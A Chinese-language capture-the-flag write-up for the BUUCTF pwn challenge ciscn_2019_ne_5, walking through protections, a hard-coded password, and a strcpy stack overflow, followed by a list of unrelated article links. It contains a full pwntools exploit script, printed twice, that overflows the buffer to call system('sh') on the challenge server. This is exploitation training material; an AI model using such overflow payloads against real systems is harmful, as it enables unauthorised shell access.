当前位置: 首页 > news >正文

BUUCTF-pwn-ciscn_2019_ne_51

简单查看保护:


32为程序没有canary没有PIE,应该是简单的栈溢出。我们照着这个思路去找溢出点在哪,运行下程序看看什么情况:


程序上来是输入一个密码验证。随便输入下错误直接退出。因此我们需要到IDA中看看怎么回事:


主函数大致流程在此。还给了system函数地址:


使用ROPgadget工具查找字符串/bin/sh:

ROPgadget --binary ciscn_2019_ne_5 --string ‘/bin/sh’

 


啥也没有。这里就有一个小技巧了。当找不到/bin/sh的时候,可以用sh代替。我们查找下程序中存不存在sh:


找到了。那么我们需要构造的东西都有了,接着就是找溢出点。观察程序流程:       


对应程序中是这样:


我们观察这个函数:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

它会把我们的输入放入src这个数组中。并在隐藏选项4中引用:


我们看到strcpy是将src的内容复制到dest。我们前面看到src允许我们输入128个字节。而dest数组离ebp只有0x48个字节。因此这里可以溢出。直接构造payload:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

得到flag:

http://www.lryc.cn/news/248203.html

相关文章:

  • 【限时免费】20天拿下华为OD笔试之【哈希表】2023Q2B-选修课【欧弟算法】全网注释最详细分类最全的华为OD真题题解
  • Android关于杀掉进程的方案
  • mysql数据库基本概念简介
  • 前端开发_HTML
  • 1.Spring源码解析-ClassPathXmlApplicationContext
  • android 动态创建selector状态选择器 动态创建Drawable
  • Python与设计模式--责任链模式
  • (C)一些题6
  • 基于单片机的肺活量检测系统(论文+源码)
  • 【开题报告】海洋多源数据质量控制应用服务的WebServer设计与实现
  • 接单平台在精不在多,劝诸位程序员找个好平台!
  • mybatis关于namespace以及id以及Mapper接口命名的说明(了解)
  • MySQL中的锁(简单)
  • 【独家OD2023C卷真题】20天拿下华为OD笔试【贪心】2023C-分配土地最大面积【欧弟算法】全网注释最详细分类最全的华为OD真题题解
  • 省市区编码sql
  • 实现电商平台与营销系统无缝集成:雅座的无代码开发与API连接
  • win10下安装 Anaconda + Cuda + Cudnn + Pycharm + Pytorch
  • 第20章 多线程
  • 自定义类型:结构体,枚举,联合
  • C++:C++11新特性---右值引用
  • 计算机人机界面
  • 【BUG合集】(一)①数据库存1/0,请求结果返回true和false;②sql查数据库能查,但mybatis查为空;③data64图片存储为异常;
  • python基础练习题库实验7
  • C语言你爱我么?(ZZULIOJ 1205:你爱我么?)
  • 动手学深度学习(三)---Softmax回归
  • 爬虫代理技术与构建本地代理池的实践
  • token认证机制,基于JWT的Token认证机制实现,安全性的问题
  • 什么是计算机病毒?
  • 【C++】哈希(位图、布隆过滤器)
  • LeetCode198.打家劫舍